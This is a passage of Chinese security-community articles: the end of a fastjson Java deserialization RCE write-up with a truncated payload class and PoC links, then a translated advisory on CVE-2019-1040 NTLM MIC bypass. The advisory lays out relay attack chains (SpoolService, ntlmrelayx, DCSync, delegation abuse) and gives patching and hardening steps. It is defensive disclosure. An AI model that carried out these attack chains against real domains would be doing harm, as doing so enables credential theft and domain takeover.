@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
//ShellExec t = new ShellExec();
}
}
当fastjson反序列化执行我们的payload时便可以触发构造方法中的操作从而导致RCE。
## 后记
这里分析的几条反序列化的利用链属于分析难度不算特别大的反序列化利用链，便于我们入门java反序列化漏洞。相关的测试代码已经放到了[github](https://github.com/imagemlt/JavaUnserializePocs)上,大家可以clone该项目下断点测试.另外最近在jdk1.8下对于JNDI限制的绕过后来阅读了一些大佬的博客(<https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html>) 得知存在绕过限制的方法，大家也可以去测试一下。
## 参考文章
* <https://www.freebuf.com/vuls/175252.html>
* <https://github.com/frohoff/ysoserial>
* <http://pirogue.org/2017/12/22/javaSerialKiller/>
* <https://blog.csdn.net/wn084/article/details/80729230>
* <https://github.com/zerothoughts/spring-jndi>
* <https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html> | 社区文章 |
# 内网大杀器利用：CVE-2019-1040漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
微软官方在6月补丁日中，发布了一枚重磅漏洞CVE-2019-1040的安全补丁。该漏洞存在于Windows大部分版本中，攻击者可以利用该漏洞可绕过NTLM
MIC的防护机制，结合其他漏洞和机制，某些场景下可以导致域内的普通用户直接获取对于域控服务器的控制。
近日，对于此漏洞的利用细节被安全研究人员公布出来，利用此漏洞获取内网的控制变得非常可行，看他堪称内网大杀器，形成现实的巨大威胁。
## 漏洞描述
微软的漏洞描述如下图所示：
当中间人攻击者能够成功绕过NTLM
MIC（消息完整性检查）保护时，Windows存在篡改漏洞。成功利用此漏洞的攻击者可以获得降级NTLM安全功能的能力。要利用此漏洞，攻击者需要篡改NTLM交换，然后攻击者可以修改NTLM数据包的标志，而不会使签名无效。
该漏洞的CVSS 3.0的评分虽然只有5.9，但与其他安全问题结合起来利用，将导致巨大的安全威胁。
最严重的攻击场景下，攻击者仅需要拥有一个普通域账号，即可远程控制 Windows 域内的所有机器，包括域控服务器。
奇安信 A-TEAM 于 2019 年 2 月向微软官方提交了此漏洞，并获得微软公司官方致谢：
## 影响系统
Windows 7 sp1 至Windows 10 1903
Windows Server 2008 至Windows Server 2019
## 利用场景
对于特定环境， CVE-2019-1040漏洞的攻击链目前已经确定的两种攻击途径：
1、攻击域Exchange Server
2、攻击域AD Server
### 一、攻击域Exchange Server/管理员
**前提条件**
A、Exchange服务器可以是任何版本（包括为PrivExchange修补的版本）。唯一的要求是，在以共享权限或RBAC模式安装时，Exchange默认具有高权限。
B、域内任意账户。（由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户）
C、CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷，故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。
D、构造请求使Exchange Server向攻击者进行身份验证，并通过LDAP将该身份验证中继到域控制器，即可使用中继受害者的权限在Active
Directory中执行操作。比如为攻击者帐户授予DCSync权限。
E、如果在可信但完全不同的AD林中有用户，同样可以在域中执行完全相同的攻击。（因为任何经过身份验证的用户都可以触发SpoolService反向连接）
**漏洞利用攻击链**
1、使用域内任意帐户，通过SMB连接到被攻击ExchangeServer，并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。
2、中继服务器通过SMB回连攻击者主机，然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。
3、使用中继的LDAP身份验证，此时Exchange Server可以为攻击者帐户授予DCSync权限。
4、攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值（包含域管理员的hash，此时已拿下整个域）。
### 二、攻击域AD Server/管理员
**前提条件**
A、服务器可以是任何未修补的Windows
Server或工作站，包括域控制器。在定位域控制器时，至少需要一个易受攻击的域控制器来中继身份验证，同时需要在域控制器上触发SpoolService错误。
B、需要控制计算机帐户。这可以是攻击者从中获取密码的计算机帐户，因为他们已经是工作站上的Administrator或攻击者创建的计算机帐户，滥用Active
Directory中的任何帐户都可以默认创建这些帐户。
C、CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷，故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。
D、通过滥用基于资源的约束Kerberos委派，可以在AD域控服务器上授予攻击者模拟任意域用户权限。包括域管理员权限。
E、如果在可信但完全不同的AD林中有用户，同样可以在域中执行完全相同的攻击。（因为任何经过身份验证的用户都可以触发SpoolService反向连接）
**漏洞利用攻击链**
1、使用域内任意帐户，通过SMB连接到被攻击域控服务器，并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。
2、中继服务器通过SMB回连攻击者主机，然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。
3、使用中继的LDAP身份验证，将受害者服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。
4、攻击者现在可以作为AD服务器上的任意用户进行身份验证。包括域管理员。
## 处置建议
鉴于目前安全研究人员（见参考链接3）已经披露了漏洞详情和利用方式，并在博客中公开了含POC代码的Github地址，此漏洞实乃内网大杀器，强烈建议受版本影响的用户紧急进行修复以消除威胁。
## 修复方案
微软官方已推出更新补丁，请在所有受影响的 Windows 客户端、服务器下载安装更新并重启计算机。
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040>
注意：此漏洞存在多种不同的利用方案，强烈建议通过安装官方补丁的方式对此漏洞进行完全修复。如无法实现在所有服务器上安装该补丁，请优先保证在重要的服务器（如所有的域控制器、所有的
Exchange 服务器）上安装该补丁。
## 其他加固措施
对于无法安装补丁的服务器，可通过以下加固措施对此漏洞的某些利用方式进行适当缓解。注意，这些加固措施并没有修复漏洞，只是针对该漏洞可能存在的一些利用方式进行缓解。这些缓解措施有可能被高级别的攻击者绕过。
开启所有重要服务器的强制 SMB 签名功能
（在 Windows 域环境下，默认只有域控服务器开启了强制 SMB 签名）
启用所有域控服务器的强制 LDAPS Channel Binding 功能
（此功能默认不启用。启用后有可能造成兼容性问题。）
启用所有域控服务器的强制 LDAP Signing 功能
（此功能默认不启用。启用后有可能造成兼容性问题。）
开启所有重要服务器（比如所有 Exchange 服务器）上相关应用的Channel Binding 功能（如 IIS 的 Channel Binding
功能）
以上修复方案来自奇安信 CERT
## 参考链接
[1] <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040>
[2] <https://blog.preempt.com/security-advisory-critical-vulnerabilities-in-ntlm>
[3] <https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/> | 社区文章 |
Subsets and Splits